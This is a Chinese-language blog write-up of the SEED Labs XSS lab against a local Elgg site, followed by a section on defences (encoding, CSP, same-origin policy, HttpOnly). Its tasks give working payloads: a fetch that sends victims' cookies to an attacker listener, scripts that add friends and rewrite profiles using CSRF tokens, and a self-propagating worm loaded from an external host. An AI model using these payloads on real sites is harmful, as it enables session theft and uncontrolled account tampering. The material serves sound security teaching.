SeedLab——Cross-Site Scripting (XSS) Attack Lab

SeedLab——Cross-Site Scripting (XSS) Attack Lab

Lab Environment Setup

DNS Setup

/etc/hosts文件中,添加域名和IP地址的映射

# For XSS Lab
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com

Container Setup and Commands

进入Labsetup文件夹,运行下面的两条命令构建并启动容器

seed@VM:~/.../Labsetup$ dcbuild
seed@VM:~/.../Labsetup$ dcup

启动完毕就可以通过www.seed-server.com这个域名访问实验环境了。

有以下几个账号可供使用

image-20231111172145590

Preparation: Getting Familiar with the “HTTP Header Live” tool

HTTP Header Live是火狐浏览器的一个扩展插件,可以用来查看HTTP请求与响应,捕获甚至修改HTTP请求。

Task 1: Posting a Malicious Message to Display an Alert Window

以Alice的身份登录网站,修改个人资料。在Brief description中写入下面的内容。提交之后这部分内容会被解析成HTML文档中的JavaScript脚本,然后执行。因此所有人访问嵌入这段代码的页面都会执行弹窗。

<script>alert('xss');</script>

image-20231111173137119

除了<script>标签方法将JavaScript脚本嵌入页面,还可以通过事件属性和外部JavaScript文件。

事件属性。下面这个img标签通过在HTML页面嵌入一个不存在的图片url,然后导致图片加载失败触发onerror事件,执行JavaScript代码。

<img src="/img.png" onerror="alert('xss')">

上述两种嵌入方法不足之处在于只适用于代码量少的情况,要嵌入长代码就要通过引入外部JavaScript文件的方法。这样就能执行来自https://www.example.com/script.js外部JavaScript文件的代码了。

<script src="https://www.example.com/script.js"></script>

Task 2: Posting a Malicious Message to Display Cookies

cookie是存储在客户端的一些键值数据,它用于跟踪和存储有关用户状态、会话和身份验证,因此cookie是浏览器客户端的十分敏感的数据,如果cookie被泄露,就会造成敏感信息的泄露、用户身份的冒用。

JavaScript提供了一些方法来操作浏览器的Cookie。可以创建、读取、修改和删除Cookie。

例如嵌入以下内容,就会弹窗当前访问页面的用户的cookie。

<script>alert(document.cookie);</script>

image-20231111201222699

Task 3: Stealing Cookies from the Victim’s Machine

JavaScript可以操作cookie,因此当一个页面存在xss漏洞时,攻击者嵌入的恶意代码就能够完成截获所有访问该页面的cookie,然后将cookie发送给攻击者的服务器的行为,这样攻击者就能使用cookie冒充这些用户的身份了。

在攻击者主机上使用python开启一个HTTP服务,监听8080端口

python3 -m http.server 8080

然后在页面嵌入下面的恶意代码。这段代码使用fetch向目标url发送一个get请求,参数cookie为当前页面的Cookie值经过escape()函数进行编码后的结果。

<script>fetch("http://10.9.0.1:8080?cookie="+escape(document.cookie)); </script>

当受害者访问这个页面的时候,如果不分析HTTP请求的话受害者很难察觉到自己的cookie泄露了

image-20231111203405683

samy worm

Samy Worm是一个以Samy Kamkar的名字命名的蠕虫,它于2005年在MySpace社交网络上蔓延。该蠕虫利用了MySpace上的一个漏洞,通过在用户的个人资料中插入恶意JavaScript代码来自我复制和传播。

当用户访问被感染的个人资料页面时,恶意JavaScript代码会自动执行,并通过修改用户的个人资料来将自己插入到用户的联系人列表中。从而使得蠕虫得以传播到更多的用户。

Task 4: Becoming the Victim’s Friend

要自己实现这样一个蠕虫病毒,首先分析一下添加好友的HTTP请求。点击add friend按钮,然后分析请求报文。

image-20231111204226973

请求的目的接口以及传递的参数。

http://www.seed-server.com/action/friends/add?friend=59&__elgg_ts=1699708209&__elgg_token=oUnCjegvkT6rj4nt1nQvlw&__elgg_ts=1699708209&__elgg_token=oUnCjegvkT6rj4nt1nQvlw

HTTP报文格式。

Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://www.seed-server.com/profile/samy
Cookie: Elgg=21lq4h8ohcbikucqbrc38de50a; elggperm=z0EVvgflsl29GSGIth0YtotwIT5tTEmN

分析可知,添加好友的接口url为http://www.seed-server.com/action/friends/add,传递参数:

  1. friend参数代表添加的好友编号
  2. __elgg_ts是一个时间戳(timestamp),用于验证令牌的时效性。
  3. __elgg_token是实际的令牌值,用于验证用户的身份和权限。

在添加好友页面找到了下面这段源代码。分析一下elgg这个对象,应该是用来防御CSRF攻击的,它包含了一个token和当前访问该页面的用户信息。发挥作用过程可能是,当用户每一次提交包含敏感操作的表单时比如修改用户信息等,Elgg会在表单中包含一个名为__elgg_token的随机生成的隐藏字段,服务端会对令牌的有效性进行验证,判断请求用户是否具有合法的权限。通过这样的机制,攻击者无法获取正确的__elgg_token,因此无法构造合适的CSRF跨站请求伪造链接。

Alice的guid为56,也就是说编号为56。__elgg_token__elgg_ts也都能从elgg这个对象中获取,

/**
 * Inline (non-jQuery) script to prevent clicks on links that require some later loaded js to function
 *
 * @since 3.3
 */

var lightbox_links = document.getElementsByClassName('elgg-lightbox');

for (var i = 0; i < lightbox_links.length; i++) {
    lightbox_links[i].onclick = function () {
        return false;
    };
}

var toggle_links = document.querySelectorAll('a[rel="toggle"]');

for (var i = 0; i < toggle_links.length; i++) {
    toggle_links[i].onclick = function () {
        return false;
    };
}

var elgg = {
    "config": {
        "lastcache": 1587931381,
        "viewtype": "default",
        "simplecache_enabled": 1,
        "current_language": "en"
    },
    "security": {
        "token": {
            "__elgg_ts": 1699708209,
            "__elgg_token": "oUnCjegvkT6rj4nt1nQvlw"
        }
    },
    "session": {
        "user": {
            "guid": 56,
            "type": "user",
            "subtype": "user",
            "owner_guid": 56,
            "container_guid": 0,
            "time_created": "2020-04-26T15:21:41-04:00",
            "time_updated": "2023-11-11T07:38:11-05:00",
            "url": "http:\/\/www.seed-server.com\/profile\/alice",
            "name": "Alice",
            "username": "alice",
            "language": "en",
            "admin": false
        },
        "token": "I_mLu9UtOTZBxHotZOmev9"
    },
    "_data": {},
    "page_owner": {
        "guid": 59,
        "type": "user",
        "subtype": "user",
        "owner_guid": 59,
        "container_guid": 0,
        "time_created": "2020-04-26T15:23:51-04:00",
        "time_updated": "2020-04-26T15:23:51-04:00",
        "url": "http:\/\/www.seed-server.com\/profile\/samy",
        "name": "Samy",
        "username": "samy",
        "language": "en"
    }
};

实现自动添加好友的恶意代码,这段代码比较长,因此我们使用外部链接引入。将这段脚本放入远程或者本地网站中都可以,只要本机能够访问。

window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    //Construct the HTTP request to add alice as a friend.
    var sendurl="http://www.seed-server.com/action/friends/add?friend=56"+ts+token+ts+token;
    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();
}
<script src="https://www.tsuk1.cn/.well-known/script.js"></script>

也可以使用网站提供的edit HTML修改about me实现嵌入大段的代码。

然后登录samy的账号,并访问Alice的主页,发现构造的请求执行成功,samy在不知情的情况下添加了Alice的好友。

image-20231111213450539

image-20231111213519097

Task 5: Modifying the Victim’s Profile

刚刚我们实现了自动添加好友,要实现蠕虫的功能,不仅需要让受害者添加攻击者的好友,还需修改受害者的profile,让其他人访问受害者的页面也能添加攻击者的好友以实现无限传播。

修改一下自己的信息,然后分析HTTP请求,请求的url如下

http://www.seed-server.com/action/profile/edit

HTTP报文如下,使用的是POST请求,请求体在最后一行。传递的参数除了修改的内容,还有__elgg_token__elgg_tsnameguid。这些参数在elgg对象中都能获取。

Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10276824251683442370719542242
Content-Length: 2968
Origin: http://www.seed-server.com
Connection: keep-alive
Referer: http://www.seed-server.com/profile/alice/edit
Cookie: Elgg=ilk18oppcit9m6dmhtt02kmpbk
Upgrade-Insecure-Requests: 1

__elgg_token=3KxwIXwm-DcRjjDeqty7Fg&__elgg_ts=1699710515&name=Alice&description=hellohello&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=56

因此可以构造恶意脚本如下,将这段脚本嵌入页面。elgg.session.user.guid != myGuid这段代码用于判断访问该页面的人是否为攻击者本人,如果是则不修改about me防止嵌入的脚本失效。

window.onload = function () {
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "__elgg_token=" + elgg.security.token.__elgg_token;
    //Construct the content of your url.
    var content =token+ts+userName+'&description=hellohello&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2'+guid;
    var myGuid =56;
    var sendurl ='http://www.seed-server.com/action/profile/edit';
    if (elgg.session.user.guid != myGuid)
    {
        //Create and send Ajax request to modify profile
        var Ajax = null;
        Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}

当samy访问嵌入了恶意脚本的alice的主页时,发现在samy不知情的情况下执行了edit,修改了samy的个人描述

image-20231111221720234

image-20231111221753278

Task 6: Writing a Self-Propagating XSS Worm

将4与5结合起来,就能实现一个自我传播的XSS蠕虫了。

在一个目录下创建script.js,并开启一个http服务器

python3 -m http.server 8080

这样就能通过10.9.0.1:8080/script.js引入外部JavaScript文件了。构造恶意代码如下所示,将description参数设置为<script src="http://10.9.0.1:8080/script.js">,这样就能实现添加好友并自我传播了。

window.onload = function () {
    // 实现添加好友
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    //Construct the HTTP request to add alice as a friend.
    var sendurl="http://www.seed-server.com/action/friends/add?friend=56"+ts+token+ts+token;
    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();

    // 实现自我传播
        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "__elgg_token=" + elgg.security.token.__elgg_token;
    //Construct the content of your url.
    var content =token+ts+userName+'&description=<script src="http://10.9.0.1:8080/script.js">&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2'+guid;
    var myGuid =56;
    var sendurl ='http://www.seed-server.com/action/profile/edit';
    if (elgg.session.user.guid != myGuid)
    {
        //Create and send Ajax request to modify profile
        var Ajax = null;
        Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}

修改alice的个人信息,嵌入恶意代码

<script src="http://10.9.0.1:8080/script.js">

image-20231111223613910

登录samy的账号访问alice主页

登录samy的账号访问alice主页,查看network,发现两个请求,一个添加好友的请求一个修改个人信息的请求。

image-20231111223758942

然后samy访问自己的主页,network中请求了http://10.9.0.1:8080/script.js,说明个人信息修改成功,蠕虫成功从alice感染到samy。

image-20231111223901751

登录boby的账号访问samy主页

在network中也发现了两个请求

image-20231111224053499

boby访问自己的主页,network也请求了http://10.9.0.1:8080/script.js脚本,说明从samy感染boby成功

image-20231111224135935

XSS Defeating

Encoding Escape

不信任任何输入原则。这个原则的核心思想是,开发人员在设计和实现应用程序时,应该假设所有输入的内容都是不可靠和恶意的。因此需要对用户输入进行严格过滤转义来实现xss的预防。

  1. HTML实体编码:将敏感字符替换为对应的HTML实体编码。例如,将<替换为<,将>替换为>,将"替换为"等。这样可以防止恶意脚本被解析和执行。
  2. URL编码:对URL中的特殊字符进行编码,以避免在URL中注入恶意代码。使用encodeURIComponent()或类似的函数对URL参数进行编码可以确保参数值不会被解释为脚本或HTML代码。
  3. JavaScript字符串编码:在将用户输入插入到JavaScript字符串中时,需要对特殊字符进行编码,以防止注入恶意代码。使用JSON.stringify()或类似的函数对字符串进行编码可以确保特殊字符被正确转义。
  4. CSS编码:在将用户输入插入到CSS样式中时,需要对特殊字符进行编码,以避免注入攻击。使用适当的CSS编码方法,如使用\进行转义,可以确保恶意代码不会被解析为有效的CSS。

CSP

内容安全策略 (CSP) 是 Web 开发人员提高网站安全性的一种机制。通过设置内容安全策略,Web 开发人员可以指示 Web 浏览器仅加载来自某些受信任域的资源,强制执行安全的 HTTPS 连接等等。CSP通过指定允许加载和执行的内容源和资源,限制了浏览器中可以执行的代码。

  1. 禁止内联脚本:通过设置script-src指令为 'none',禁止在HTML中使用内联脚本。这样可以阻止XSS攻击者通过在HTML中插入恶意脚本来执行攻击。
  2. 限制脚本来源:使用script-src指令指定可信任的脚本来源,例如只允许从同源或指定的域加载脚本。通过限制脚本的来源,可以防止恶意脚本的注入和执行。
  3. 防止未授权的资源加载:使用default-src指令指定默认的内容源,限制哪些资源可以加载。可以配置只允许加载同源资源或指定的域中的资源,从而防止XSS攻击者通过加载恶意资源来执行攻击。
  4. 禁止内联样式:通过设置style-src指令为'none',禁止在HTML中使用内联样式。这样可以防止XSS攻击者通过注入恶意样式来执行攻击。
  5. 限制数据来源:使用connect-src指令限制可以进行数据请求的来源,例如只允许与同源或指定域的服务器进行通信。这有助于防止XSS攻击者通过发送恶意数据到其他域来执行攻击。

CSP可以通过设置HTTP响应头中的Content-Security-Policy字段来进行配置

Content-Security-Policy: default-src 'self'; script-src userscripts.example.com 

或者使用HTML文档的meta标签来配置

<meta http-equiv="Content-Security-Policy" content="default-src 'self' *.xx.com *.xx.cn 'unsafe-inline' 'unsafe-eval';"> 

常用配置字段如下:

  • base-uri

用于控制base标签能加载的资源范围

  • object-src

防止浏览器加载执行嵌入的插件资源,或标签。最常见的示例是防止Flash based xss

  • script-src

用于控制浏览器加载页面脚本的范围,包括加载的url及内联脚本

  • frame-src

用于控制浏览器加载iframe资源的范围

Same-Origin Policy

同源策略(same origin policy),是一种约定,它是浏览器最核心也是最基本的安全功能。同源策略会阻止一个域的JavaScript脚本和另一个域的内容进行交互,是用于隔离潜在恶意文件的关键安全机制。如果缺少了同源策略浏览器的安全使用会受到很大的影响。可以说web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

同源策略限制了来自不同源的“document”或者“script”,对当前“document”读取或者设置某些属性。如果没有同源策略,一段其他网站的JavaScript脚本可以随意读取甚至修改另一网站的页面。为了防止这种情况发生,浏览器提出了“Origin”-源,这个概念来自不同源的对象无法互相干扰。

对于下面JavaScript来说,以下情况认为是同源与不同源的,当JavaScript被浏览器认为来着不同源时,请求就会被拦截

URL 是否同源 原因
https://tsuk1.cn/topics/123.html  
https://tsuk1.cn/fourms/123.html  
http://tsuk1.cn/topics/123.html 协议不同
https://tsuk1.cn:80/topics/123.html 端口不同
https://tsuk1.com/topics/123.html 域名不同

但是,对于JavaScript文件来说,存放脚本的域不重要,重要的是加载脚本的域。比如,在tsuk1.cn中加载另一域上的脚本,但是这一脚本是运行在tsuk1.cn中的,因此会被认定为同源。

<script src="https://tsuk1.com/main.js"></script>

在浏览器中,<script>、<iframe>、<img>、<link>等标签都可以跨域加载资源,因为这些资源在加载的时候,就相当于浏览器发起了一次GET请求。

不同于XMLHttpRequest的是,通过src加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容——当使用<script>标签加载跨域脚本时,浏览器会执行脚本,但通过脚本无法获取到返回的内容。这是因为脚本是通过创建一个新的全局上下文(global context)来执行的,该上下文与加载它的页面的上下文分离开来。而XHR可以访问同源对象的内容但是不能访问跨域资源。

http-only

“HttpOnly” 是一个用于设置 HTTP 响应头的标志,用于增强对于跨站脚本攻击(XSS)的防御。当服务器设置了 “HttpOnly” 标志后,浏览器在接收到这个响应头后会对该响应中的 Set-Cookie 标头进行处理。

具体而言,当一个 Cookie 的 “HttpOnly” 属性被设置为 true 时,这意味着该 Cookie 只能通过 HTTP 请求发送给服务器,而 JavaScript 代码无法通过 document.cookie 或其他方式访问该 Cookie 的值。这样可以有效地防止跨站脚本攻击者通过 JavaScript 代码获取到敏感的会话 Cookie,从而提高了应用程序的安全性。

例如对于node.js,在设置cookie的时候设置httpOnly字段为true,JavaScript代码就无法通过document.cookie或其他方式访问该Cookie的值。

res.cookie("email", email, {
    maxAge: 2000 * 1000,
    httpOnly: true,
    signed: true,
});

但是这种方法只能防止xss攻击的一种类型——cookie劫持,而无法阻止其他类型的xss攻击。

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞18赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片